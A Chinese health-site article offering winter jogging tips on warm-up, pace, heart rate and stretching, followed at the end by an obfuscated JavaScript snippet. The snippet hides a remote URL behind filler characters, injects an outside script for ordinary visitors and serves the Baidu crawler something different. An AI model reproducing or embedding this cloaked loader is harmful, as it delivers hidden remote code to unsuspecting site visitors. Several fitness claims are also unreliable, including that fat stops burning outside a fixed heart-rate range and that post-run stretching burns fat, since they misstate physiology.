当前位置:首页 > 健康 > 运动健身 > 正文

冬季慢跑注意事项有哪些

2017-04-15 11:03:33  来源:360常识网   热度:
导语:慢跑相信是比较流行的一种运动方式吧,因为它相对来说比较的柔和一些,不需要你每次跑步都气喘吁吁,其实在冬季的时候慢跑也是比较合适的一

慢跑相信是比较流行的一种运动方式吧,因为它相对来说比较的柔和一些,不需要你每次跑步都气喘吁吁,其实在冬季的时候慢跑也是比较合适的一种运动,但是在冬季慢跑之前,下面所介绍的这些注意事项,你必须了解,这样才能够让自己更好的达到锻炼的效果,又可以有效地避免其他不利的影响发生。

一、慢跑前要做好准备

做有氧运动前充分地将身体的潜在热能调整到准备状态,有利于身体内机能的调整,激发身体中的“GHRELIN”激素,促进脑内学习区域的神经细胞,一定程度上可以提高记忆力。

二、时间和速度是快速健康减重的关键

慢跑时的时间和速度取决于跑步时步伐姿态,一般有氧练习的时间为20至30分钟,时间太长会造成肌肉疲劳不利于健康。

三、速度性练习需要掌握

慢跑时首先两腿交替抬高,活动髋关节,然后逐渐提高速度,膝盖尽可能触及上腹部为好,手臂前后摆动,跑步时前脚掌先着地,过渡到全脚掌着地。可以加快血液循环,提高肌肉的摄氧量,但速度不宜过快,将有氧心率控制在60%―80%;避免无效运动,脂肪在无氧状况下将会停止分解,在上述心率控制外,减脂不可保证。

四、充分燃烧脂肪的美丽塑形

慢跑后,舒展身体可以使身体中的多余脂肪充分地进行燃烧,让身体大多部位得到锻炼,塑造你的完美S曲线。

以上就是冬季慢跑需要了解的几大注意事项,不知道你在之前有没有重视过这些问题呢,想要运动锻炼,这些原则技巧问题,当然是需要注意遵守,因为只有遵守这些问题,才可以达到最理想的锻炼效果,从而让自己拥有更加健康的体魄。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}